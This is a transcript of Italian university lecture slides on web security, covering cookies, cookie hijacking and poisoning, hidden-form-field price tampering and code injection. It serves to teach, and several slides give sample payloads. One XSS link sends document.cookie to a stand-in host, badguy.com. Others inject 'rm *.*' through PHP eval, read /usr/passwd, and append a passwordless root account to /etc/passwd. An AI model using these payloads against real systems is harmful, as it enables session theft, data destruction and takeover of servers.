Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin



Documenti analoghi
Elementi di Sicurezza e Privatezza Lezione 13 Web Security. Chiara Braghin. Cookie e Sicurezza

Elementi di Sicurezza e Privatezza Lezione 12 Web Security

Cookie (1) - Componenti

Elementi di Sicurezza e Privatezza Lezione 10 Web Security (2) Code Injection

LA GESTIONE DELLE VISITE CLIENTI VIA WEB

Lezione 1 Introduzione

Esempio Cookie Policy

Corso di PHP. Prerequisiti. 6.1 PHP e il web 1. Conoscenza HTML Tecnica della programmazione Principi di programmazione web

Elementi di Sicurezza e Privatezza Lezione 15 Web Security - Code Injection (1)

Cookie Policy per

19. LA PROGRAMMAZIONE LATO SERVER

Informativa estesa sull utilizzo dei cookie

Il Protocollo HTTP e la programmazione di estensioni Web

Il linguaggio HTML - Parte 3

Siti interattivi e dinamici. in poche pagine

INFORMATIVA ESTESA SULL USO DEI COOKIE

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

2.5. L'indirizzo IP identifica il computer di origine, il numero di porta invece identifica il processo di origine.

Sicurezza delle applicazioni web: protocollo HTTP

Manuale di Aggiornamento BOLLETTINO. Rel H4. DATALOG Soluzioni Integrate a 32 Bit

Clienti. Aggiungere un cliente

POLICY COOKIE Gentile visitatore,

SITI-Reports. Progetto SITI. Manuale Utente. SITI-Reports. ABACO S.r.l.

Lezione 6: Form 27/04/2012

Web e HTTP. path name. host name Realizzato da Roberto Savino.

VntRAS Communication Suite

Programmazione Web. Laboratorio 4: PHP e MySQL

Capitolo 4 Pianificazione e Sviluppo di Web Part

PROITACA.ORG GUIDA ALL USO

Protocolli applicativi: FTP

Lombardia Informatica S.p.A. Servizio di Posta Elettronica Certificata Web Privacy Policy

Obiettivo dell esercitazione

Architettura del. Sintesi dei livelli di rete. Livelli di trasporto e inferiori (Livelli 1-4)

Procedura SMS. Manuale Utente

Università degli Studi di Messina

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Guida all'uso del CMS (Content Management System, Sistema di Gestione dei Contenuti)

UTILIZZO DEI COOKIES (informativa conforme al Provvedimento del Garante Privacy del 8 Maggio 2014)

marketing highlights Google Analytics A cura di: dott. Fabio Pinello

Oreste Signore, Responsabile Ufficio Italiano W3C Area della Ricerca CNR - via Moruzzi, Pisa

Utilizzo dei Cookie Cosa sono i cookie? A cosa servono i cookie? cookie tecnici cookie, detti analitici cookie di profilazione

TeamPortal. Servizi integrati con ambienti Gestionali

Content Management System Manuale per le aziende consorziate

Software di gestione della stampante

@2011 Politecnico di Torino. Pag. 1. Architettura distribuita. Architetture Client/Server. Architettura centralizzata. Architettura distribuita

Che cos'è un modulo? pulsanti di opzione caselle di controllo caselle di riepilogo

MANUALE D USO DELLA PIATTAFORMA ITCMS

GUIDA UTENTE PRIMA NOTA SEMPLICE

Lezione 9. Applicazioni tradizionali

LEX-ARC PROFESSIONAL Il SOFTWARE GESTIONALE PER AVVOCATI PRATICO, EFFICIENTE ED ECONOMICO

BLOCK CALL Manuale utente Block Call Manuale Utente

NOME 0 PROVIDER DOMINIO istruzione.it

GUIDA PER IL DOCENTE ALL UTILIZZO DELL APPLICATIVO ONLINE E PORTFOLIO

I M P O S T A R E U N A C C O U N T D I P O S T A C O N M O Z I L L A T H U N D E R B I R D

Gruppi, Condivisioni e Permessi. Orazio Battaglia

Introduzione al Web. dott. Andrea Mazzini

Data Base. Master "Bio Info" Reti e Basi di Dati Lezione 6

Client - Server. Client Web: il BROWSER

UTILIZZO DELLA RETE WIRELESS DIPARTIMENTALE

REGISTRAZIONE ON LINE A CIAO IMPRESA

PHP e Structured Query Language

Manuale Utente PEC e Client di Posta tradizionale

Volumi di riferimento

Guida all uso delle Web View su ios

Lezione V. Aula Multimediale - sabato 29/03/2008

Dexma Newsletter System

Faber System è certificata WAM School

Scaletta. Estensioni UML per il Web. Applicazioni web - 2. Applicazioni web. WAE: Web Application Extension for UML. «Client page»

IL SERVIZIO E-BILLING DHL: COME ACCEDERE

INFORMATIVA SUL DIRITTO ALLA PRIVACY PER LA CONSULTAZIONE DEL SITO WEB

E-BILLING QUICK GUIDE

Corso di Sistemi di Elaborazione delle informazioni

In questa pagina si descrivono le modalità di gestione del sito in riferimento al trattamento dei dati personali degli utenti che lo consultano.

ESERCITAZIONE Semplice creazione di un sito Internet

Sistema Informativo di Teleraccolta EMITTENTI

RELAZIONE DI PROGETTO DELL ESAME STRUMENTI PER APPLICAZIONI WEB

Alfa Layer S.r.l. Via Caboto, Torino ALFA PORTAL

Integrazione InfiniteCRM - MailUp

TITOLARE DEL TRATTAMENTO Il "titolare" del trattamento di eventuali dati personali rilevati a seguito della consultazione del sito è SEVAL S.r.l.

Riccardo Dutto, Paolo Garza Politecnico di Torino. Riccardo Dutto, Paolo Garza Politecnico di Torino

MODULO 1 PARTE 3. Programmazione (scripting) server-side con PHP 3.c Cookies e sessioni. Goy - a.a. 2012/2013 Programmazione Web 1

Transcript:

Elementi di Sicurezza e Privatezza Lezione 13 Web Security Chiara Braghin

Cookie e Sicurezza

HTTP e i cookie (1) Vi ricordate? I Web server in genere sono stateless: una serie di richieste dallo stesso browser appaiono come completamente indipendenti I cookie fanno parte del protocollo HTTP come integrazione e soluzione alla caratteristica del protocollo di essere stateless Because it was used in Netscape's original implementation of state management, we will use the term cookie to refer to the state information that passes between an origin server and user agent, and that gets stored by the user agent [RFC 2109] 2

HTTP e i cookie (2) Il cookie viene trasmesso tramite gli HEADER del protocollo HTTP Ciclo di vita del cookie: La prima volta che un browser si collega ad un server non ci sono cookie Il server crea un identificativo unico e lo inserisce nell header della risposta usando il campo Set-Cookie In futuro, ogni volta che il browser si collega con lo stesso server, anche per chiedere pagine diverse, inserisce il cookie nell header della richiesta usando il campo Cookie [In genere, i cookie vengono cancellati dal browser una volta che si fa quit ] 3

HTTP e i cookie (3) Il cookie consiste generalmente in una coppia nome-valore Set-Cookie: ID=12345jk La dimensione del cookie in genere è limitata dal browser (di solito < 4 KB) Un server può definire più cookie, anche se i browser limitano il numero di cookie per server (circa 50) Il dominio di un cookie viene identificato univocamente da: server, porta (opzionale) e prefisso URL (opzionale) 4

Cookie: attributi opzionali (1) Esistono attributi opzionali dell'header Set-Cookie: Expires: indica la data di scadenza Permette a un cookie di diventare persistente Espressa come data, come numero massimo di giorni, come Now (il cookie viene eliminato subito dal computer dell'utente in quanto scade nel momento in cui viene creato), come Never (indica che il cookie non è soggetto a scadenza) Session cookie vs Persistent cookie Domain: il dominio verso cui il cookie è valido Rappresenta il dominio di provenienza del cookie Se non settato, il valore di default è il dominio dell oggetto richiesto Path: URL verso cui il cookie è valido Specifica il percorso dal quale il cookie viene mandato all utente finale Se non settato, il valore di default è il dominio dell oggetto richiesto 5

Cookie: attributi opzionali (2) Secure (FLAG): se questo attributo è impostato il cookie viene trasmesso in una request HTTPS (viene cifrato) HTTPOnly (FLAG): il cookie non può essere acceduto via script lato client Inizialmente incorporata SOLO da Microsoft Internet Explorer, poi dagli altri browser 6

Cookie: funzionamento file dei cookie client ebay 8734 ebay 8734 amazon 1678 una settimana dopo, nel caso in cui il cookie sia ancora valido: ebay 8734 amazon 1678 http request msg http response Set-cookie: 1678 http request msg Cookie: 1678 http response msg http request msg Cookie: 1678 http response msg server Amazon il server crea il Cookie 1678 azione cookiespecific azione cookiespectific parte opzionale create entry access access backend database 7

Cookie - Utilizzi User session state Per permettere ad un utente il login in un sito web. Shopping cart per mettere o togliere articoli dal carrello della spesa virtuale nei siti commerciali Per personalizzare la pagina web sulla base delle preferenze dell'utente Per tracciare i percorsi dell'utente (usato dalle compagnie pubblicitarie) 8

Third-party cookie (1) First-party cookie: cookie con lo stesso dominio dell indirizzo presente nella barra del browser Third-party cookie: cookie con dominio diverso da quello presente nella barra del browser Da banner pubblicitario, immagine o altra componente del file html proveniente da un dominio diverso Usati per ottenere informazioni sul navigatore, i suoi gusti le sue preferenze, per tracciarne un profilo e presentargli solo i banner pubblicitari che gli potrebbero interessare Secondo gli RFC non dovrebbero venire permessi 9

Third-party cookie (2) 10

Visualizzare/gestire i cookie 11

Lettura/scrittura di cookie a lato client (1) Settare un cookie in Javascript: document.cookie = name=value; expires= ; Leggere un cookie: alert(document.cookie) Stampa la stringa che contiene TUTTI i cookie disponibili per il documento Rimuovere un cookie: document.cookie = name=; expires= Thu, 01-Jan-70 12

Lettura/scrittura di cookie a lato client (2) javascript: alert(document.cookie) Mostra tutti i cookie del documento 13

Cookie: possibili attacchi

Cookie hijacking Packet sniffing => viene intercettato il traffico e si legge il cookie Soluzione: settare il flag Secure e utilizzare HTTPS A volte anche l uso di HTTPS non è una garanzia Per motivi di efficienza alcuni header non cifrati! Per motivi di efficienza, solo il primo messaggio spedito tramite HTTPS 15

Cookie poisoning Un utente può cambiare e cancellare i valori dei cookie!! Editando il file dei cookie Modificando il campo Cookie nell header del messaggio HTTP Esempio: shopping cart software Set-cookie:shopping-cart-total = 150 ($) L utente edita il file dei cookie in modo che venga spedito il seguente header (cookie poisoning): Cookie: shopping-cart-total = 15 ($) 16 16

Cattivo uso di script (1) Si consideri il link: (properly URL encoded) http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Cosa succede se l utente seleziona il link? Il browser va al link victim.com/search.php Victim.com ritorna <HTML> Results for <script> </script> Il browser esegue lo script: Spedisce a badguy.com il cookie di victim.com 17

Cattivo uso di script (2) Per risolvere il problema: HTTPOnly, un nuovo flag GET Browser HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly Server Web I cookie vengono spediti tramite HTTP(s), ma non sono accessibili tramite script non possono venire letti da: document.cookie 18

Alternative ai Cookie? Per gli shopping cart, usare campi nascosti del form 19

Campi nascosti (1) Ordina 1 Pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $5.50 Credit Card Payment Gateway Prezzo salvato in un campo nascosto del form submit_order?price=5.50 Questi valori possono venire modificati dall attaccante? 20

Campi nascosti (2) L attaccante compila i campi richiesti 21

Campi nascosti (3) e arriva alla schermata riepilogativa finale che deve confermare: 22

Campi nascosti (4) Della quale può vedere il sorgente: 23

Campi nascosti (5) Modifica il prezzo nel sorgente, fa il reload della pagina. Il browser spedisce la richiesta: GET /submit_order?price=0.01&pay=yes HTTP/1.1 I campi nascosti dei form sono comunque in chiaro!! 24

Campi nascosti (6) Ordina 1 pizza Web Browser (Client) Conferma $5.50 Web Server Submit ordine $0.01 Credit Card Payment Gateway Prezzo modificato dall attaccante!! 25

Non così raro (dati del 2000) Piattaforme che hanno subito l attacco: D3.COM Pty Ltd: ShopFactory 5.8 @Retail Corporation: @Retail Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart32 3.0 pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron 1.2 Source: http://xforce.iss.net/xforce/xfdb/4621 26

Cookie: Riferimenti HTTP State Management Mechanism (RFC 2695 e2109) http://www.ietf.org Browser Security Handbook http://code.google.com/p/browsersec/ Una pagina storica http://curl.haxx.se/rfc/cookie_spec.html 27

SQL Injection

Code Injection SQL Injection è un esempio del più generico attacco di tipo Code (o Command) injection Input non fidato viene inserito in una query o in un istruzione La stringa in input altera la semantica prevista dell istruzione Es: SQL Injection - dati non verificati vengono usati per fare una query ad un database Approfitta di vulnerabilità insite nei siti Web dinamici 29

Code Injection (1) Permette all attaccante di eseguire codice arbitrario a lato server Esempio: code injection basato su eval (funzione PHP) Si supponga di avere una calcolatrice a lato server: http://site.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); Attacco: inserire 10 ; system( rm *.* ), ovvero http://site.com/calc.php?exp= 10 ; system( rm *.* ) 30

Code Injection (2) Esempio basato sull uso della funzione system(): Codice PHP per spedire email: $email = $_POST[ email ] $subject = $_POST[ subject ] system( mail $email s $subject < /tmp/joinmynetwork ) L attaccante può inserire: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls Oppure: http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 31